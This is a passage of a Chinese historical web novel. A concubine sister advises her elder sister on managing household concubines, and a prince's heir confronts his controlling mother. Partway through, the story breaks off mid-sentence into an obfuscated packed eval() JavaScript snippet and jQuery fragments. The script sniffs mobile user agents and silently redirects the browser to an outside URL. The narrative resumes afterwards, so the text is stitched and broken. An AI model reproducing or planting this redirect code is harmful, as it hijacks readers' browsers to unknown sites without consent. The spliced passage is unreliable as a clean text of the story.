一口清茶下肚，赵秋珊借着茶水清冽卸去苦涩，总结道：“家里生意名气也做起来了，没多久我就被抬为侧室，日子也终于好过起来。幸而我这张脸还算好看，只要学会适时收敛性子，夫君他总是愿意来我房里的。”
顿了顿，她又拧眉转回正题：“姐姐，不可以相信妾。正因为我是，所以我才这样笃定。妾室不受尊重，是个可以随意被收送的玩意儿，所受委屈诸多，对待夫家、夫君绝没有如此诚心，若非生存所迫、名利所诱，怕是早就包袱款款一走了之。”
赵汀兰听得眼睫颤动，她抿紧唇微蹙眉，眼神哀切地将妹妹抱在怀里，问：“秋儿，别这么说自己。我们也不怕和离，我现在也足够养你，不会让你再受委屈的。”
赵秋珊愣了下，垂眸遮住眼底情绪，轻轻摇头，道：“知道姐姐会一直站在我身后，我就安心了。现在日子好过，我在燕府也受人敬重，留在燕家，还能吹些枕头风，让夫君照顾照顾咱们家的生意呢。”
“我可以送个小铺给你，你用它来经营，供你与孩子们生活应当足够，你当真不想离开燕家吗？”
赵秋珊蹙眉，将茶盏往桌上放：“可是姐姐，我不会算账，也不通字词，你哪怕给了我，又有何用？更何况夫君他身为燕城城主，能让我的儿子谋个官职，能让我女儿寻个好亲事。”
说到此，知道姐姐会不爱听，便换了话：“刚才说到姚氏的厨艺不错，可别起什么招揽她去食肆做活的念头。若姐姐你是个男子，恐怕她早就对你起了心思，即便现在，她也想通过你掌握更多名利财权，切莫被她利用了。”
“姚氏的事我会重新考虑的。”赵汀兰应下。
于是赵秋珊笑道：“不说我了。对了，上回说教芷玉对付妾室的方法，现在看来可以告诉你了。”
通过小妾真实境况，赵秋珊详细说明了如何恩威并施收买人心。例如她们心量小，只求安生之人便给她安生之处，只要保证随时可剥夺，便可掌握此人；求利之人便以利诱导，但万万不可给其独自获利之权，便可得其听话。
“但还有一类人最为棘手，”赵秋珊仿佛陷入某种回忆，眸光锐利，“野心深重，又做事不择手段。姚氏迄今无子，茂实之妻徐氏又已经废了，若姚氏是这类人，她很有可能做出谋害侄儿之事，只要再怀上新的茂实的孩儿，哪怕是姐姐你，为了赵家将来恐怕也得礼待她。只要发现她性格有此端倪，除掉她，才是上策。”
起先赵汀兰还有受教之感，越到后来越发心惊，听妹妹说要除人，赵汀兰直接瞪大眼站了起来：“这未免有些太不公道。”
“公道？”赵秋珊抬头看她，“那姐姐的意思，是要任侄儿被害？”
“我自然也不会让侄儿出事，”赵汀兰皱紧眉，“姚氏应当不至于手段如此激烈，哪怕她是，只要我多遣几人看管，也能阻止。至不济，我将她驱出赵家，也可绝了后患。”
赵秋珊张了口，又都化为叹气：“你一向宅心仁厚。罢了，姐姐毕竟现在算是掌家人，一个妾在你面前也翻不出什么风浪。”
又看妹妹端起茶盏抿茶，赵汀兰心中郁郁。她小时候明明更爱笑，也更纯真，现在说起杀人却如此自然，这燕信城主竟害得妹妹成了这样。
牵动了心底深处隐忧，游万洲此人又在赵汀兰心头泛起。她看向窗外，天空悠远，燕城城主与信王世子，皆是贵族；赵秋珊与惠芷玉，皆为布衣；布衣要嫁贵族，只能做妾，一旦做妾，便是下一个妹妹。
她只愿女儿一生平安，绝不会让女儿也受此苦楚，被害成如此心性。
……
游万洲回到王府之时，明月上梢头，星光微亮。阻止了李唯搭讪安安，又在城郊练了通武，他心情舒畅。
回到府中他径直便去了自己院落，新的侍从已经近前来服侍，他看着这人想了想，问：“你叫什么？”
“小的叫福禄。”
“不是这个，”游万洲抬手指了指他，“你的本名是什么？”
“殿下，小的从小便在王府长大，爹娘也都不认识几个字，这名字是从爹那承袭过来，从小就叫福禄。”福禄乖顺地弓着腰。
“这样啊。”游万洲便知此人又是不同处境，家里世世代代在王府服侍，那定在言传身教之下，已将如何成为称职仆从作为家训烙□□头，于是换了话重新问：“你家如今是什么状况？”
福禄这回答话略犹豫了下，依然乖顺地回答：“我爹年事已高，不便伺候，如今在府外谋生计。”
“为何在府外？”游万洲略惊异，“通常应当将他们安置于偏远府邸清闲度日吧？”
福禄赧然笑了笑，腰更弯：“小的也不知。”
“你娘呢？”
这回又是一小阵沉默，福禄才道：“娘她早年犯了事，受了责罚，已经不在了。”
皱了皱眉，游万洲吩咐：“你去将管家叫来。”
福禄暂时退去，过了片刻，负责管理世子鹿苏院的管家步履匆匆来，行礼见过世子殿下，游万洲问：“新伺候的侍从福禄，他爹为何去了府外，娘又犯了什么事？”
“禀告殿下，福禄的娘曾是伺候的王妃殿下明景，约莫七年前因冒犯王妃殿下一事被责罚。他爹也是同一时间被王妃殿下逐出府外。”
“何事冒犯？”
“这，属下需要再去详细了解。”
点了点头，游万洲吩咐：“尽快查清此事，我想知道究竟为何。既然福禄的爹未曾犯事，就叫他回来，在我院里做些闲差养着吧。”
一旁的福禄已经跪下来叩谢殿下恩德，游万洲让他起来，再让管家退下，便打算洗浴入睡。福禄去准备热水的脚步都更快三分。
在房里看着兵书，便听王妃侍女明月来请他去王妃住院。游万洲蹙了蹙眉，内心某种抵触情绪并不想见，便道：“你告知王妃，我已经回府，今日太晚，想睡下。”
终于重归寂静，游万洲呼出一气，原本舒畅心情又沉重起来。他放下兵书，又想起了被娘在街上追时，她那满含担忧的眼神。
……算了，还是去瞧瞧吧。游万洲推门而出，去王妃住院玉笙居。
刚迈入玉笙居的拱形圆门，便瞧见娘亲眉眼忧色，带着一队侍女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15406662|165583||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
往这边来。瞧见他还愣了愣，游万洲几步上前见礼：“娘。”
娘亲两只手便拉着他胳膊将他拉起来，目光上下打量他，问：“怎么忽然愿意见我了？”
“想见便来了，”游万洲也看着她，发现自己如今个子也只差娘半头，她眼尾也有了细看下能瞧见的皱纹，沉默了一下，“有什么事吗？”
“好，好，”王妃欣慰点头，与他并肩，“去房内说。”
只留了几个贴身侍女，夏瑶岑看着游万洲坐在桌边，这才轻声问：“今日之事，你可怪过我？”
“我只是不明白，为什么娘你要以他人性命威逼儿子？你明知道我定然不忍心。”
夏瑶岑扇子轻摇，微风吹起她两缕发丝，解释着：“是我考虑不周，你此前从未如此忤逆过我，一时有些气急，”顿了顿，她又道，“若你听话，我本不会做到这个地步……”
果然是这套说辞，游万洲皱着眉问：“我已经长大，自然会对一些事有自己的看法。这次不过是可怜侍女，想放了她，何故如此气恼？”
就见夏瑶岑停下动作，目光幽深地瞧来：“她犯了错，自然该罚。你的可怜不该用在一个奴婢身上。”
游万洲烦躁地扭头看向窗外，有些后悔起自己先前还想与娘说道的决定，“罢了，别再聊此事，娘若无他事，我就回去休息了。”
夏瑶岑忽然语气放软，“不谈这个了，我唤你来是有别的话想问。”
游万洲这才按捺住焦躁，又将视线转回来，听夏王妃问：“听说你今日在街上，与几位友人交谈，聊得如何？”
“您若是想问惠芷玉的事直说便可，”游万洲现在懒得与她周旋，一语点破关窍，“她曾是我旧友，惠家如今又是鸣县出了名的商贾，今日偶遇自然要聊两句问清现状。更何况李家李唯也在场，我也需要打探李家情况。娘你还有什么问题？”
夏王妃伸手，用巾帕轻拭儿子面庞，声音柔和，“在王府多年，不免会多心。以后娘会收敛些，圆圆莫置气了可好？”
压下情绪，游万州语气也放缓不少：“我知道您心疼我、担忧我，什么都想替我安排好。可儿子如今长大，有自己的考量，娘放心就是了。”
“你且记得，娘永远是你最可信的后盾。”夏王妃慈爱的看他，摆手唤侍女，“去把点心呈上。”
游万洲紧绷的身子终于放松下来，等了片刻，便见明月端来一碗温热的冰糖银耳羹，他抬头看一眼娘亲，见她催促自己尝尝，只得拿起勺问：“娘不吃么？”
见王妃摇头，游万洲才握住勺子，留在王妃院里舀起香甜可口的汤羹。终于能与娘和谐共处，他正神情舒缓，品味银耳的甜软。
“说起来，你也到了适龄年纪，可以纳妾了。”
顾不上仪礼，游万洲扔下勺子捂唇咳嗽，好险没将银耳喷出来。缓了半晌才有力气抬头去瞧娘亲，哑声问：“咳咳，怎地突然提起这事来？”
“官家小姐毕竟不同，你也该有些正经妾室，不然传出去，叫人闲话王府倒是其次，可不能叫人看轻了你。”王妃投来意味深长一眼。